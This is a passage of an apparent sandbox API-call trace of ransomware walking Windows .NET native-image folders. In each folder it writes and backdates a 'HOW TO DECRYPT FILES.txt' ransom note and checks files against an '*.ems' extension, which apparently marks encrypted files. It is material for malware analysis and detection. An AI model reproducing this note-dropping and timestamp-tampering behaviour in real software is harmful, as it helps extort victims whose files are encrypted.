[0106.513] lstrcmpiA (lpString1="", lpString2="System.Transactions.ni.dll") returned -1 [0106.513] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\*.*") returned="*.*" [0106.513] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\" [0106.513] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\") returned="" [0106.513] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\HOW TO DECRYPT FILES.txt" [0106.513] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.transactions\\ad18f93fc713db2c4b29b25116c13bd8\\how to decrypt files.txt")) returned 0xffffffff [0106.513] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.transactions\\ad18f93fc713db2c4b29b25116c13bd8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.570] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.570] CloseHandle (hObject=0x90) returned 1 [0106.570] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\", lpString2="System.Transactions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\System.Transactions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\System.Transactions.ni.dll" [0106.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\System.Transactions.ni.dll", pszSpec="*.ems") returned 0 [0106.571] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2117ed, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2117ed, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf23794d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x99200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Transactions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.571] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.571] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf283c0d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf283c0d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ad18f93fc713db2c4b29b25116c13bd8", cAlternateFileName="AD18F9~1")) returned 0 [0106.571] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.571] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x13634e2a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x13634e2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web", cAlternateFileName="")) returned 1 [0106.571] lstrcmpA (lpString1=".", lpString2="System.Web") returned -1 [0106.571] lstrcmpA (lpString1="..", lpString2="System.Web") returned -1 [0106.571] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.571] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web" [0106.572] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x13634e2a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x13634e2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.572] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.572] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x13634e2a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x13634e2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.573] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.573] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x13634e2a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x13634e2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="da5da08245467818759aa44c4eb948e1", cAlternateFileName="DA5DA0~1")) returned 1 [0106.573] lstrcmpA (lpString1=".", lpString2="da5da08245467818759aa44c4eb948e1") returned -1 [0106.573] lstrcmpA (lpString1="..", lpString2="da5da08245467818759aa44c4eb948e1") returned -1 [0106.573] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\*.*") returned="*.*" [0106.573] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\", lpString2="da5da08245467818759aa44c4eb948e1" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1" [0106.573] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x13634e2a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x13634e2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.573] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x13634e2a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x13634e2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.574] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.574] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x131be4e2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x131be4e2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1341fae6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb45a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.574] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.ni.dll") returned -1 [0106.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.ni.dll") returned -1 [0106.574] lstrcmpiA (lpString1="", lpString2="System.Web.ni.dll") returned -1 [0106.574] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\*.*") returned="*.*" [0106.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\" [0106.574] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\") returned="" [0106.574] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\HOW TO DECRYPT FILES.txt" [0106.574] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web\\da5da08245467818759aa44c4eb948e1\\how to decrypt files.txt")) returned 0xffffffff [0106.575] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web\\da5da08245467818759aa44c4eb948e1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.578] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.578] CloseHandle (hObject=0x90) returned 1 [0106.578] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\", lpString2="System.Web.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\System.Web.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\System.Web.ni.dll" [0106.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\System.Web.ni.dll", pszSpec="*.ems") returned 0 [0106.579] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x131be4e2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x131be4e2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1341fae6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb45a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.579] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.579] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x13634e2a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x13634e2a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="da5da08245467818759aa44c4eb948e1", cAlternateFileName="DA5DA0~1")) returned 0 [0106.579] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.579] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862af4a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862af4a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Abstract#", cAlternateFileName="SYSTEM~1.ABS")) returned 1 [0106.579] lstrcmpA (lpString1=".", lpString2="System.Web.Abstract#") returned -1 [0106.579] lstrcmpA (lpString1="..", lpString2="System.Web.Abstract#") returned -1 [0106.580] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.580] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.Abstract#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#" [0106.580] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862af4a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862af4a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.581] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.581] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862af4a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862af4a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.581] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.581] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.581] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862af4a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862af4a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3112fe15b1994ff59b169cf7ce997e71", cAlternateFileName="3112FE~1")) returned 1 [0106.581] lstrcmpA (lpString1=".", lpString2="3112fe15b1994ff59b169cf7ce997e71") returned -1 [0106.581] lstrcmpA (lpString1="..", lpString2="3112fe15b1994ff59b169cf7ce997e71") returned -1 [0106.581] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\*.*") returned="*.*" [0106.581] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\", lpString2="3112fe15b1994ff59b169cf7ce997e71" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71" [0106.582] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862af4a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862af4a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.582] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.582] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862af4a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862af4a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.582] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.582] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.582] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862631e1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862631e1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862631e1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Abstractions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.582] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.582] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0106.583] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0106.583] lstrcmpiA (lpString1="", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0106.583] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\*.*") returned="*.*" [0106.583] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\" [0106.583] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\") returned="" [0106.583] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\HOW TO DECRYPT FILES.txt" [0106.583] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.abstract#\\3112fe15b1994ff59b169cf7ce997e71\\how to decrypt files.txt")) returned 0xffffffff [0106.583] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.abstract#\\3112fe15b1994ff59b169cf7ce997e71\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.586] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.586] CloseHandle (hObject=0x90) returned 1 [0106.586] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\", lpString2="System.Web.Abstractions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\System.Web.Abstractions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\System.Web.Abstractions.ni.dll" [0106.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\System.Web.Abstractions.ni.dll", pszSpec="*.ems") returned 0 [0106.587] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862631e1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862631e1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862631e1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Abstractions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.587] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.587] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x862af4a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x862af4a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3112fe15b1994ff59b169cf7ce997e71", cAlternateFileName="3112FE~1")) returned 0 [0106.587] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.587] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8beec9cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c2f0ef3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c2f0ef3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.DynamicD#", cAlternateFileName="SYSTEM~1.DYN")) returned 1 [0106.587] lstrcmpA (lpString1=".", lpString2="System.Web.DynamicD#") returned -1 [0106.587] lstrcmpA (lpString1="..", lpString2="System.Web.DynamicD#") returned -1 [0106.587] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.587] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.DynamicD#" | out: 